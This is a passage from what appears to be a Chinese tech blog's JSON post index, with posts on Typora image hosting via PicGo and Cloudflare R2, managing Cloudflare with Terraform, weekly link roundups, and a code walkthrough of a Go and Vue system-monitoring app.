一是因为觉得图片实在是太难管理了，上传存储迁移这些东西当时是没有找到很好的工作流。二是能用代码和文字写清楚的地方也不大需要图片所以。导致一直不想搞这些东西。\n今天突发奇想应该改变一下，就研究了下日常用的最多的写稿软件 Typroa。它已经支持了图片的自动上传。\n涉及的软件：\nPicGo 实现文件向S3上传 Typroa 来实现写作以及调用iPic服务 R2 Cloudflare 的对象存储服务来实现图片存储。 图床客户端 使用 PicGo来实现，开源工具，插件众多。下载就可以使用。因为这里使用的存储后端是Cloudflare 的R2 存储。所以别忘了安装S3 的插件。\nPicGo: 一个用于快速上传图片并获取图片 URL 链接的工具\nAPP的成熟度非常高了下面是下载链接：\nPicGo⏬\npicgo-plugin-s3 支持 S3 存储的插件\nTyproa配置 客户端配置好之后，直接在typroa的设置中的图像选项中来选择PicGo作为上传服务。这样在Typroa 中粘贴图片的时候会自动的调用他的上传接口来实现图片的一键上传。大大简化了写稿时候的工作流程。\nS3服务 S3 这里就泛指为AWS S3 兼容的对象存储服务，这里使用的是 Cloudflare 提供的R2存储服务。和通常配置一样，端点，AK/SK 等等。就可以使用了\n关于配置Public访问的这里可以参看官网的文章：\nenable-managed-public-access-for-your-bucket ","date":"2023-02-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/03/typroa%E5%9B%BE%E7%89%87%E4%B8%8A%E4%BC%A0%E5%88%B0s3/","tags":["tag1"],"title":"Typroa图片上传至S3"},{"categories":["每周分享"],"contents":"好文 如何在工作中学习\n知识+逻辑 基本等于你的能力\n所以新进入一个领域的时候要去找他的大图和抓手。\n還不會 Traefik？看完這篇文章，你就徹底搞懂了~\n​\tProviders/Entrypoints/Routers/Services/Middlewares\n​\tIngressRouter 可以更好的关联middleware。而使用Ingress 就需要使用标签来进行拓展了。\n新手學習微服務，得先看看這篇文章\u0026mdash;\n监控实践: 基于K8S部署Prometheus+Grafana\n国内中转配合Cloudflare优选IP瞬间起飞，拯救垃圾/被墙节点\n虽然是一篇操作贴，但是记录下这个思路。IP被Block之后，可以通过Cloudflare的Worker 来进行请求的反向代理\naddEventListener( \u0026#34;fetch\u0026#34;, event =\u0026gt; { let url = new URL(event.request.url); url.hostname = \u0026#34;hkt.zmylove.tk\u0026#34;; url.protocol = \u0026#34;http\u0026#34;; let request = new Request(url, event.request); event.respondWith( fetch(request) ) } ) 大学习 在全力准备CKA中，摆脱了123陷阱，何为123陷阱后面自己在慢慢总结。\n悟出了k8s的哲学，万物皆资源，资源皆可编排。和Linux 的万物皆文件的设计哲学异曲同工。\n使用模拟题测了测，效果还可以。 不是很难。\n工具推荐 这周亮点属于Ai（虽然目前只能称之为大语言模型），颇有世界属于Ai的趋势\nGlarity - Summary for Google search results / YouTube Videos with ChatGPT (AD-Free)\n和之前推荐的 GPT for chrome一样，这次插件更强大，可以对youtube 含字幕的内容来进行总结。比如下面这个视频 UP主们都怎么做字幕？调研100位UP，他们的秘密是\u0026hellip;。就可以使用Glarity来进行一件总结：\n此次调研结果表明，添加字幕对UP主而言极为重要，大多数UP主会用剪映软件、Arctime以及讯飞听见等软件来进行字幕设计，在“一小时左右”的时间内就能完成视频字幕，视频播放量预期可提升7%以上。\n​\t太棒了！\nYoutube-Whisperer\n一键为youtube的视频生成匹配的字幕，可以带时间轴等等。\nWGCF 使用Cloudflare Warp 来给机器添加v4/v6 ip\n趣站 namecheap 正如其名，一个注册便宜域名的地方。值得惊喜的是看到了 HNS 的域名注册。\nNginx Proxy Manager 可视化进行nginx的配置管理，也可以实现自动的SSL，替代Caddy 的一大强者\n中文独立博客列表\n","date":"2023-02-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/02/202310/","tags":["Misc"],"title":"2023[10]"},{"categories":["OP之路"],"contents":"前 在我的多个域名和项目中，Cloudflare一直是我的首选CDN和DNS服务。但随着域名和配置规则的增加，我遇到了一个痛点：手工在Web控制台配置既繁琐又容易出错，而且无法追踪配置变更历史。\n当我需要为新项目复制类似的配置时，只能在控制台一条条手工复制。当某个配置出问题时，很难回溯是什么时候、为什么改的。这种\u0026quot;点击式运维\u0026quot;显然不是长久之计。\n于是我决定用Terraform将Cloudflare的所有配置纳入版本管理。这篇文章记录了我从手工配置迁移到IaC（Infrastructure as Code）的完整过程，以及踩过的坑。\n为什么选择Terraform 什么是IaC 基础设施即代码（Infrastructure as Code）是一种通过代码来定义、部署和管理基础设施的方法。相比传统的手工配置，IaC带来以下优势：\n版本控制：所有配置纳入Git，可以追踪每次变更 可复现：同样的代码可以在不同环境重复部署 自动化：通过CI/CD自动应用配置变更 协作友好：团队成员通过代码协作，而非共享账号 防止配置漂移：代码即文档，状态可审计 Terraform vs 其他工具 在IaC工具中，我选择Terraform的原因：\nTerraform的优势：\n多云支持：同一套工具管理Cloudflare、AWS、阿里云等 声明式语法：描述\u0026quot;想要什么状态\u0026quot;，而非\u0026quot;如何达到\u0026quot; 状态管理：自动追踪实际状态与期望状态的差异 丰富的Provider：Cloudflare官方维护Provider，支持几乎所有功能 社区活跃：问题都能找到解决方案 对比其他方案：\nCloudflare API：需要自己写脚本，维护成本高 Pulumi：支持编程语言，但学习曲线陡峭，社区较小 Ansible：更适合配置管理，不适合声明式基础设施 ClickOps（手工点击）：最简单，但无法规模化 对于管理Cloudflare这样的场景，Terraform的声明式语法和状态管理能力是最佳选择。\n环境准备 安装Terraform 在macOS上通过Homebrew安装：\nbrew install terraform # 验证安装 terraform version # Terraform v1.6.0 在Linux上：\n# Ubuntu/Debian wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg echo \u0026#34;deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main\u0026#34; | sudo tee /etc/apt/sources.list.d/hashicorp.list sudo apt update \u0026amp;\u0026amp; sudo apt install terraform 获取Cloudflare API Token 在Cloudflare控制台创建API Token：\n访问：https://dash.cloudflare.com/profile/api-tokens 点击\u0026quot;Create Token\u0026quot; 使用\u0026quot;Edit zone DNS\u0026quot;模板，或自定义权限： Zone - DNS - Edit Zone - Zone - Read Zone - Zone Settings - Edit 选择需要管理的域名 创建后保存Token（只显示一次） 将Token保存到环境变量：\n# 添加到 ~/.zshrc 或 ~/.bashrc export CLOUDFLARE_API_TOKEN=\u0026#34;your_api_token_here\u0026#34; # 或者使用专门的环境变量文件 echo \u0026#39;CLOUDFLARE_API_TOKEN=your_token\u0026#39; \u0026gt; .env source .env 这里需要注意的是，不要将Token硬编码在代码中，也不要提交到Git仓库。\n创建项目结构 我的Terraform项目结构：\ncloudflare-tf/ ├── main.tf # 主配置文件 ├── variables.tf # 变量定义 ├── terraform.tfvars # 变量值（不提交到Git） ├── outputs.tf # 输出定义 ├── versions.tf # Provider版本锁定 └── modules/ # 可复用的模块（可选） ├── dns/ └── firewall/ 创建项目目录：\nmkdir cloudflare-tf cd cloudflare-tf 从零开始配置 配置Provider 创建 versions.tf 定义Terraform和Provider版本：\nterraform { required_version = \u0026#34;\u0026gt;= 1.0\u0026#34; required_providers { cloudflare = { source = \u0026#34;cloudflare/cloudflare\u0026#34; version = \u0026#34;~\u0026gt; 4.0\u0026#34; } } } provider \u0026#34;cloudflare\u0026#34; { # API token通过环境变量 CLOUDFLARE_API_TOKEN 提供 } 初始化Terraform：\nterraform init 这会下载Cloudflare Provider插件。\n获取Zone ID 创建 data.tf 获取域名的Zone ID：\n# 通过域名查询Zone信息 data \u0026#34;cloudflare_zone\u0026#34; \u0026#34;main\u0026#34; { name = \u0026#34;example.com\u0026#34; } # 输出Zone ID供其他资源使用 output \u0026#34;zone_id\u0026#34; { value = data.cloudflare_zone.main.id } 查看Zone ID：\nterraform plan 管理DNS记录 在 main.tf 中添加DNS记录：\n# A记录 resource \u0026#34;cloudflare_record\u0026#34; \u0026#34;www\u0026#34; { zone_id = data.cloudflare_zone.main.id name = \u0026#34;www\u0026#34; value = \u0026#34;192.0.2.1\u0026#34; type = \u0026#34;A\u0026#34; proxied = true # 通过Cloudflare代理 ttl = 1 # 代理时TTL自动设为1 } # CNAME记录 resource \u0026#34;cloudflare_record\u0026#34; \u0026#34;blog\u0026#34; { zone_id = data.cloudflare_zone.main.id name = \u0026#34;blog\u0026#34; value = \u0026#34;example.com\u0026#34; type = \u0026#34;CNAME\u0026#34; proxied = true } # TXT记录（SPF验证） resource \u0026#34;cloudflare_record\u0026#34; \u0026#34;spf\u0026#34; { zone_id = data.cloudflare_zone.main.id name = \u0026#34;@\u0026#34; value = \u0026#34;v=spf1 include:_spf.google.com ~all\u0026#34; type = \u0026#34;TXT\u0026#34; proxied = false } # MX记录 resource \u0026#34;cloudflare_record\u0026#34; \u0026#34;mx\u0026#34; { zone_id = data.cloudflare_zone.main.id name = \u0026#34;@\u0026#34; value = \u0026#34;aspmx.l.google.com\u0026#34; type = \u0026#34;MX\u0026#34; priority = 1 proxied = false } 应用配置：\nterraform plan # 预览变更 terraform apply # 应用变更 配置页面规则 Page Rules可以控制缓存、重定向等行为：\nresource \u0026#34;cloudflare_page_rule\u0026#34; \u0026#34;redirect_http\u0026#34; { zone_id = data.cloudflare_zone.main.id target = \u0026#34;http://*example.com/*\u0026#34; priority = 1 actions { always_use_https = true } } resource \u0026#34;cloudflare_page_rule\u0026#34; \u0026#34;cache_static\u0026#34; { zone_id = data.cloudflare_zone.main.id target = \u0026#34;example.com/static/*\u0026#34; priority = 2 actions { cache_level = \u0026#34;cache_everything\u0026#34; edge_cache_ttl = 7200 } } resource \u0026#34;cloudflare_page_rule\u0026#34; \u0026#34;bypass_api\u0026#34; { zone_id = data.cloudflare_zone.main.id target = \u0026#34;api.example.com/*\u0026#34; priority = 3 actions { cache_level = \u0026#34;bypass\u0026#34; } } 配置防火墙规则 使用Firewall Rules保护你的网站：\n# 阻止特定国家的访问 resource \u0026#34;cloudflare_filter\u0026#34; \u0026#34;block_countries\u0026#34; { zone_id = data.cloudflare_zone.main.id description = \u0026#34;Block specific countries\u0026#34; expression = \u0026#34;(ip.geoip.country in {\\\u0026#34;CN\\\u0026#34; \\\u0026#34;RU\\\u0026#34;})\u0026#34; } resource \u0026#34;cloudflare_firewall_rule\u0026#34; \u0026#34;block_countries\u0026#34; { zone_id = data.cloudflare_zone.main.id description = \u0026#34;Block traffic from specific countries\u0026#34; filter_id = cloudflare_filter.block_countries.id action = \u0026#34;block\u0026#34; } # 速率限制API端点 resource \u0026#34;cloudflare_rate_limit\u0026#34; \u0026#34;api_limit\u0026#34; { zone_id = data.cloudflare_zone.main.id threshold = 100 period = 60 match { request { url_pattern = \u0026#34;api.example.com/v1/*\u0026#34; } } action { mode = \u0026#34;challenge\u0026#34; } } SSL/TLS配置 配置SSL模式和证书：\nresource \u0026#34;cloudflare_zone_settings_override\u0026#34; \u0026#34;example\u0026#34; { zone_id = data.cloudflare_zone.main.id settings { # SSL模式 ssl = \u0026#34;strict\u0026#34; # off, flexible, full, strict # 最小TLS版本 min_tls_version = \u0026#34;1.2\u0026#34; # 启用HTTP/3 http3 = \u0026#34;on\u0026#34; # 启用0-RTT zero_rtt = \u0026#34;on\u0026#34; # 始终使用HTTPS always_use_https = \u0026#34;on\u0026#34; # 自动HTTPS重写 automatic_https_rewrites = \u0026#34;on\u0026#34; # Brotli压缩 brotli = \u0026#34;on\u0026#34; } } 导入已有配置 如果你已经在Cloudflare控制台配置了很多资源，可以使用导入功能将它们纳入Terraform管理。\n手动导入单个资源 1. 查找资源ID 在Cloudflare API文档中查找资源ID的获取方法，或使用浏览器开发者工具查看网络请求。\n例如，查找DNS记录ID：\ncurl -X GET \u0026#34;https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records\u0026#34; \\ -H \u0026#34;Authorization: Bearer ${CLOUDFLARE_API_TOKEN}\u0026#34; \\ -H \u0026#34;Content-Type: application/json\u0026#34; | jq 2. 在Terraform中定义资源 在 main.tf 中添加资源定义（先不填具体值）：\nresource \u0026#34;cloudflare_record\u0026#34; \u0026#34;imported_www\u0026#34; { zone_id = data.cloudflare_zone.main.id name = \u0026#34;www\u0026#34; value = \u0026#34;placeholder\u0026#34; type = \u0026#34;A\u0026#34; proxied = true } 3. 导入资源状态 terraform import cloudflare_record.imported_www ${ZONE_ID}/${RECORD_ID} 4. 查看实际配置 terraform state show cloudflare_record.imported_www 根据输出更新 .tf 文件中的资源定义。\n使用Terraformer批量导入 Terraformer可以批量导入已有资源，但在我的实践中遇到了一些问题。\n安装Terraformer：\n# macOS brew install terraformer # 或手动下载 wget https://github.com/GoogleCloudPlatform/terraformer/releases/download/0.8.24/terraformer-cloudflare-darwin-amd64 chmod +x terraformer-cloudflare-darwin-amd64 mv terraformer-cloudflare-darwin-amd64 /usr/local/bin/terraformer 导入Cloudflare配置：\nexport CLOUDFLARE_API_TOKEN=\u0026#34;your_token\u0026#34; export CLOUDFLARE_ZONE_ID=\u0026#34;your_zone_id\u0026#34; terraformer import cloudflare \\ --resources=dns,page_rules,firewall_rules \\ --zone=${CLOUDFLARE_ZONE_ID} 这会生成大量的 .tf 文件和状态文件。\n迁移过程中的问题处理 问题1：Provider版本不兼容 现象：执行 terraform plan 时报错：\nError: Incompatible API version with plugin Plugin version: 4, Client versions: [5] 原因：Terraformer生成的代码使用了旧版本的Provider定义。\n解决：替换状态文件中的Provider引用：\nterraform state replace-provider -auto-approve \\ \u0026#34;registry.terraform.io/-/cloudflare\u0026#34; \\ \u0026#34;registry.terraform.io/cloudflare/cloudflare\u0026#34; 并更新 versions.tf 中的Provider配置：\nterraform { required_providers { cloudflare = { source = \u0026#34;cloudflare/cloudflare\u0026#34; version = \u0026#34;~\u0026gt; 4.0\u0026#34; # 使用最新的4.x版本 } } } 问题2：资源不兼容 现象：某些资源在新版本Provider中已废弃或API变更。\n解决：从状态文件中移除不兼容的资源：\n# 列出所有资源 terraform state list # 移除单个资源 terraform state rm cloudflare_record.old_resource # 批量移除（使用脚本） terraform state list | grep \u0026#34;tfer--\u0026#34; | xargs -I {} terraform state rm {} 同时从 .tf 文件中删除对应的资源定义。\n问题3：资源命名混乱 Terraformer生成的资源名称往往很长且无意义，例如：\nresource \u0026#34;cloudflare_record\u0026#34; \u0026#34;tfer--A_diglp-002E-cf_4ef5c2378c973b50caeb9c229e99e0fe\u0026#34; { # ... } 解决：重命名资源以提高可读性：\n# 在状态文件中重命名 terraform state mv \\ \u0026#39;cloudflare_record.tfer--A_diglp-002E-cf_4ef5c2378c973b50caeb9c229e99e0fe\u0026#39; \\ \u0026#39;cloudflare_record.www\u0026#39; 同时在 .tf 文件中更新资源名称。\n问题4：资源依赖关系 某些资源之间有依赖关系，需要正确处理：\nresource \u0026#34;cloudflare_filter\u0026#34; \u0026#34;rate_limit\u0026#34; { zone_id = data.cloudflare_zone.main.id expression = \u0026#34;(http.request.uri.path matches \\\u0026#34;^/api/\\\u0026#34;)\u0026#34; } resource \u0026#34;cloudflare_firewall_rule\u0026#34; \u0026#34;rate_limit\u0026#34; { zone_id = data.cloudflare_zone.main.id filter_id = cloudflare_filter.rate_limit.id # 依赖Filter action = \u0026#34;challenge\u0026#34; } 如果依赖关系错误，使用 depends_on 显式声明：\nresource \u0026#34;cloudflare_firewall_rule\u0026#34; \u0026#34;rate_limit\u0026#34; { # ... depends_on = [cloudflare_filter.rate_limit] } 最佳实践 使用变量管理配置 将可变的值提取到 variables.tf：\nvariable \u0026#34;domain\u0026#34; { description = \u0026#34;Primary domain name\u0026#34; type = string default = \u0026#34;example.com\u0026#34; } variable \u0026#34;server_ip\u0026#34; { description = \u0026#34;Origin server IP\u0026#34; type = string } variable \u0026#34;enable_ddos_protection\u0026#34; { description = \u0026#34;Enable DDoS protection\u0026#34; type = bool default = true } 在 terraform.tfvars 中赋值：\ndomain = \u0026#34;mysite.com\u0026#34; server_ip = \u0026#34;192.0.2.1\u0026#34; enable_ddos_protection = true 在资源中使用变量：\nresource \u0026#34;cloudflare_record\u0026#34; \u0026#34;www\u0026#34; { zone_id = data.cloudflare_zone.main.id name = \u0026#34;www\u0026#34; value = var.server_ip type = \u0026#34;A\u0026#34; proxied = true } 这里需要注意的是，terraform.tfvars 包含敏感信息，应加入 .gitignore。\n使用模块复用配置 对于多个域名的相似配置，可以创建可复用的模块。\n创建 modules/domain/main.tf：\nvariable \u0026#34;domain\u0026#34; { type = string } variable \u0026#34;server_ip\u0026#34; { type = string } data \u0026#34;cloudflare_zone\u0026#34; \u0026#34;this\u0026#34; { name = var.domain } resource \u0026#34;cloudflare_record\u0026#34; \u0026#34;www\u0026#34; { zone_id = data.cloudflare_zone.this.id name = \u0026#34;www\u0026#34; value = var.server_ip type = \u0026#34;A\u0026#34; proxied = true } resource \u0026#34;cloudflare_record\u0026#34; \u0026#34;root\u0026#34; { zone_id = data.cloudflare_zone.this.id name = \u0026#34;@\u0026#34; value = var.server_ip type = \u0026#34;A\u0026#34; proxied = true } 在主配置中使用模块：\nmodule \u0026#34;site1\u0026#34; { source = \u0026#34;./modules/domain\u0026#34; domain = \u0026#34;site1.com\u0026#34; server_ip = \u0026#34;192.0.2.1\u0026#34; } module \u0026#34;site2\u0026#34; { source = \u0026#34;./modules/domain\u0026#34; domain = \u0026#34;site2.com\u0026#34; server_ip = \u0026#34;192.0.2.2\u0026#34; } 使用Remote State 对于团队协作，将状态文件存储在远程后端：\nterraform { backend \u0026#34;s3\u0026#34; { bucket = \u0026#34;my-terraform-state\u0026#34; key = \u0026#34;cloudflare/terraform.tfstate\u0026#34; region = \u0026#34;us-west-2\u0026#34; # 启用状态锁定 dynamodb_table = \u0026#34;terraform-locks\u0026#34; encrypt = true } } 或使用Terraform Cloud：\nterraform { cloud { organization = \u0026#34;my-org\u0026#34; workspaces { name = \u0026#34;cloudflare-prod\u0026#34; } } } 版本控制最佳实践 .gitignore 配置：\n# Terraform状态文件（如果不用Remote State） *.tfstate *.tfstate.* # 敏感变量 terraform.tfvars *.auto.tfvars # Terraform目录 .terraform/ .terraform.lock.hcl # 崩溃日志 crash.log # 临时文件 *.tfplan 提交规范：\n# 每次变更前先格式化 terraform fmt # 验证配置 terraform validate # 提交前plan terraform plan -out=tfplan # 确认无误后提交 git add *.tf git commit -m \u0026#34;feat: add DNS records for new subdomain\u0026#34; CI/CD集成 在GitHub Actions中自动化Terraform：\nname: Terraform on: push: branches: [main] pull_request: branches: [main] jobs: terraform: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Setup Terraform uses: hashicorp/setup-terraform@v2 with: terraform_version: 1.6.0 - name: Terraform Init run: terraform init env: CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} - name: Terraform Format run: terraform fmt -check - name: Terraform Validate run: terraform validate - name: Terraform Plan run: terraform plan env: CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} - name: Terraform Apply if: github.ref == \u0026#39;refs/heads/main\u0026#39; \u0026amp;\u0026amp; github.event_name == \u0026#39;push\u0026#39; run: terraform apply -auto-approve env: CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} 实战收益 自从使用Terraform管理Cloudflare后，我获得了以下收益：\n效率提升 配置复用：新域名的配置从30分钟降低到5分钟（复制模块即可） 批量修改：修改多个域名的相同配置，只需改一处代码 错误减少：通过 terraform plan 预览变更，避免误操作 可维护性 版本控制：所有配置变更都有Git历史记录 文档化：代码本身就是最准确的文档 回滚简单：git revert + terraform apply 即可回滚 协作友好 团队协作：通过PR进行配置变更审核 权限控制：不需要共享Cloudflare账号，通过API Token控制权限 知识传承：新成员通过代码快速了解基础设施 成本节约 虽然Terraform本身免费，但带来的时间节约是实实在在的：\n手工配置：每个域名约30分钟 Terraform：首次设置2小时，后续每个域名5分钟 10个域名就能收回投资 更重要的是，避免了因误操作导致的服务中断成本。\n后 使用Terraform管理Cloudflare是我从ClickOps走向DevOps的重要一步。虽然初期有学习成本，但长期收益是显而易见的。\n基础设施即代码的核心价值，不仅在于自动化，更在于将隐性知识（如何配置）转化为显性知识（代码），让基础设施变得可理解、可复现、可演进。\n现在，我的所有Cloudflare配置都在Git仓库中，任何变更都要经过review和CI验证。这种确定性和可控性，是手工配置无法比拟的。\n下一步优化 我计划在以下方面继续优化：\n模块化：将常用配置封装成可复用的模块 自动化测试：使用Terratest编写基础设施测试 多环境管理：通过Workspace管理dev/staging/prod 监控集成：通过Terraform配置Cloudflare Analytics和日志推送 扩展阅读 如果你也想尝试IaC，推荐以下资源：\n官方文档：\nTerraform文档：https://www.terraform.io/docs Cloudflare Provider文档：https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs 学习资源：\nTerraform入门教程：https://learn.hashicorp.com/terraform Terraformer导入工具：https://github.com/GoogleCloudPlatform/terraformer 替代方案：\nPulumi：https://www.pulumi.com/ （支持真正的编程语言） OpenTofu：https://opentofu.org/ （Terraform的开源分支） 工具推荐：\nterraform-docs：自动生成模块文档 tflint：Terraform代码静态分析 checkov：安全和合规性扫描 就这样！希望这篇文章能帮助你开始用Terraform管理Cloudflare。记住，最好的学习方式是实践——选择一个小项目开始，逐步扩展你的IaC能力。\n","date":"2023-02-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2023/02/%E9%80%9A%E8%BF%87terraform%E6%9D%A5%E7%AE%A1%E7%90%86cloudflare/","tags":["Terraform","Cloudflare","IaC","DevOps"],"title":"用Terraform接管Cloudflare：从手工配置到基础设施即代码"},{"categories":["每周分享"],"contents":"2022-37: 灵活就业进行中 2022-09-19\n周报 727 words 2 mins read\nCONTENTS 工作/代码/计算机相关Nand2TetrisGoogle UX一丢丢关于程序的瞎想准备使用 zfs 替换 btrfs 作为开发机的文件系统生活相关\n这里又是一份周报, 时间范围是2022-09-12到2022-09-19, 会记录一些工作及生活上有意思的事情.\n工作/代码/计算机相关 Nand2Tetris 本周没有进行 Nand2Tetris 的学习.\nGoogle UX 迫于之前学过的都忘记了. 所以这次学的时候顺便开始做\u0026quot;笔记\u0026quot;: https://whatiknown.strrl.dev/notes/bl9wq6sc32ufvri0ukuyqkh/\n一丢丢关于程序的瞎想 “可复现性” 是软件行业能够快速稳定发展的重要的基础.\n但是出处我找不到了…\n“可复现性\u0026quot;意味着, 只要一个人有生产资料(代码, 电脑), 他就能够使用这些生产资料做出一样的东西来. 相比于建筑行业, 哪怕拥有了足够的钢筋水泥, 也几乎不可能在极短的时间内构建出一模一样的建筑来.\n这个特点使得计算机的工件/产物能够广泛的传播和使用, 分布式的合作能够以空前的规模进行, 行业内问题的解决效率也非常非的高.\n目前在投身开源项目的构建时, 俺自己认为维护\u0026quot;可复现性\u0026quot;有很重要的几点:\n有一份好的 Contributing guidelines, 尤其是在工程角度. 任何代码都能够在开发者本地环境上构建和运行, 包括所有的测试. 在今后的工程作业中, 俺会多注意这两点.\n准备使用 zfs 替换 btrfs 作为开发机的文件系统 上次杭州 LUG 的分享会上, 有一位同学分享了 zfs 相关的内容. 鉴于我一直以使用 btrfs 作为开发机的文件系统而且也正在顺利使用着 snapshot 功能做备份.\n因为群晖上其实也是使用 btrfs 的嘛, 于是想尝试一下使用 btrfs send 和 btrfs receive 来做一次异地备份. 结果就是体验非常不好:\n速度很慢, 很久一段时间只有 60KiB/s 的速度, 峰值也只有 60MiB/s. 没有办法断点续传. 一旦中断, 就必须重新开始. 于是在上周的 hzlug 我又问了下那位同学, 回复说 zfs 是可以断点续传的.\n正好 NAS 换下来了 4 块 2TiB 的盘, 可以收个蜗牛星际组 zfs 再试试!\n生活相关 最近 journal 其实记录的并不多, 发现生活上也没啥可聊的. 先不写了吧.\n","date":"2023-02-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/2023%E6%A8%A1%E6%9D%BF/","tags":["Misc"],"title":"2023[09]"},{"categories":["Dev"],"contents":"该项目收集了各类法律法规、部门规章、案例等，并按照章节等信息进行了处理。该应用是原生iOS应用，使用SwiftUI构建。用户可以手动贡献法律法规，也可以使用脚本从国家法律法规数据库爬取最新的法律法规。如果用户发现某部法律不完整或有问题，可以提出issue或联系作者进行修复或增加。\n项目地址：https://github.com/LawRefBook/Laws\n","date":"2023-02-17T00:00:00Z","permalink":"https://blogs.12ms.xyz/draft/%E6%99%AE%E6%B3%95%E6%95%99%E8%82%B2/","tags":["Learning","opensource"],"title":"[项目学习]020短链"},{"categories":["Dev"],"contents":"前 这次来研究一个比较有意思的项目，叫做墨鱼探针。从功能上讲是实现了一个简单的系统性能监控加上一个前段数据展示的项目。虽然不是什么高大上的项目，但是经典的前后端分离架构再加上不错的项目质量用来作为学习的话是相当不错的。\n项目名称：墨鱼探针\n项目难度：2/5\n项目标签：WebApp/前后端分离\n技术栈：go(fiber) + vue2 + element-ui + nes.css\n正文 后台部分 Web 框架 先从main出发， 这里使用了Go Fiber 的lib，下面是官方的介绍。\nAn Express-inspired web framework written in Go.\n从代码上可见其 风格的确和 express和Koa 是比较相似的。都是使用路由来绑定Handle的方式。\napp.Use(cors.New()) app.Use(\u0026#34;/ws/*\u0026#34;, middleware.UpgradeOptions) app.Get(\u0026#34;/sys_info\u0026#34;, controller.GetSysInfo) app.Get(\u0026#34;/sys_status\u0026#34;, controller.GetSysStatus) app.Get(\u0026#34;/ws/sys_status\u0026#34;, websocket.New(controller.PushSysStatus)) 在下面一段是用来指定静态目录的，这里直接把根路径绑定到了http提供的browser上面。比较惊讶还能这么搞。\n一般是使用框架本本身的Static来操作的。\nstripped, err := fs.Sub(frontend, \u0026#34;dist\u0026#34;) if err != nil { log.Fatal(err) } app.Use(\u0026#34;/\u0026#34;, filesystem.New(filesystem.Config{ Root: http.FS(stripped), Browse: true, })) API WS 这里用来建立Ws的连接，用于数据的实时更新，简单来建联WebSocket。\n// main app.Use(\u0026#34;/ws/*\u0026#34;, middleware.UpgradeOptions)\tapp.Get(\u0026#34;/ws/sys_status\u0026#34;, websocket.New(controller.PushSysStatus)) 在UpgradeOptions中，简单的判断是否支持Upgrade，不支持的话就抛异常出去。\n// UpgradeOptions if websocket.IsWebSocketUpgrade(c) { return c.Next() } return fiber.ErrUpgradeRequired 建立新连接，并且轮询推送 Sysinfo 到建立起的 Ws的连接。\n// main app.Get(\u0026#34;/ws/sys_status\u0026#34;, websocket.New(controller.PushSysStatus)) // PushSysStatus func PushSysStatus(c *websocket.Conn) { for { c.WriteJSON(service.GetSystemStatus()) time.Sleep(1 * time.Second) } } sysinfo 这里就是采集系统信息的原理。开发者吧指标都拆分成了多个函数，这里选取部分来讲。\nfunc GetSystemInfo() *SystemInfo { return \u0026amp;SystemInfo{ HostInfo: GetHostInfo(), CPUInfo: GetCPUInfo(), MemoryInfo: GetMemoryInfo(), DiskInfo: GetDiskInfo(), NetworkInfo: GetNetworkInfo(), SystemStatus: GetSystemStatus(), } } 这里信息的获取比较简单，直接使用底层的接口来获取本本机信息，比较简单。看下面的源码就很容易看到。就不多赘述，主要是要熟悉lib以及一些格式的处理。\nfunc GetHostInfo() *HostInfo { hostInfo, _ := host.Info() return \u0026amp;HostInfo{ Hostname: hostInfo.Hostname, Distribution: hostInfo.Platform + \u0026#34; \u0026#34; + hostInfo.PlatformVersion, Arch: hostInfo.KernelArch, Kernel: hostInfo.KernelVersion, VirtualPlatform: hostInfo.VirtualizationSystem, Uptime: hostInfo.Uptime, } } func GetCPUInfo() *CPUInfo { cpuInfoStats, _ := cpu.Info() cpuInfo := new(CPUInfo) cpuInfo.Count, _ = cpu.Counts(true) for _, infoStat := range cpuInfoStats { core := \u0026amp;Core{ CPU: infoStat.CPU, CoreID: infoStat.CoreID, ModelName: infoStat.ModelName, Mhz: infoStat.Mhz, Flags: infoStat.Flags, } cpuInfo.AppendCore(core) } return cpuInfo } func GetNetworkInfo() *NetworkInfo { networkInfo := new(NetworkInfo) ioStats, _ := net.IOCounters(true) r, _ := regexp.Compile(\u0026#34;^(eth|enp).*\u0026#34;) for _, ioStat := range ioStats { if !r.MatchString(ioStat.Name) { continue } ifce := \u0026amp;Ifce{ Name: ioStat.Name, ByteSend: ioStat.BytesSent, ByteRecv: ioStat.BytesRecv, } networkInfo.AppendIfce(ifce) } return networkInfo } 这里比较有趣的是，go 中的结构体的应用。因为初步接触Go语言， 所以这里也简单的记录下。\ntype SystemInfo struct { HostInfo *HostInfo `json:\u0026#34;host_info\u0026#34;` CPUInfo *CPUInfo `json:\u0026#34;cpu_info\u0026#34;` MemoryInfo *MemoryInfo `json:\u0026#34;memory_info\u0026#34;` NetworkInfo *NetworkInfo `json:\u0026#34;network_info\u0026#34;` DiskInfo *DiskInfo `json:\u0026#34;disk_info\u0026#34;` SystemStatus *SystemStatus `json:\u0026#34;system_status\u0026#34;` } func GetSystemInfo() *SystemInfo { return \u0026amp;SystemInfo{ HostInfo: GetHostInfo(), CPUInfo: GetCPUInfo(), MemoryInfo: GetMemoryInfo(), DiskInfo: GetDiskInfo(), NetworkInfo: GetNetworkInfo(), SystemStatus: GetSystemStatus(), } } 小结 到这里后台部分都已经分析完成了。其基本原理上还是十分简单的。一个webserver 加上 Ws 的推送。使用底层的Lib来获取OS上的各种信息。使用Json 的格式进行组装和返回。\n前端部分 该项目使用VUE来进行开发,\n全局作用域 模块导入和与Vue本身的绑定，这样样式就可以在全局域进行使用。\nimport \u0026#34;modern-normalize/modern-normalize.css\u0026#34; import { Row, Col, Container, Header, Main, Footer, } from \u0026#39;element-ui\u0026#39; import \u0026#39;element-ui/lib/theme-chalk/index.css\u0026#39; import axios from \u0026#39;axios\u0026#39; import \u0026#34;nes.css/css/nes.min.css\u0026#34; Vue.component(Row.name, Row) Vue.component(Col.name, Col) Vue.component(Container.name, Container) Vue.component(Header.name, Header) Vue.component(Main.name, Main) Vue.component(Footer.name, Footer) 路由部分 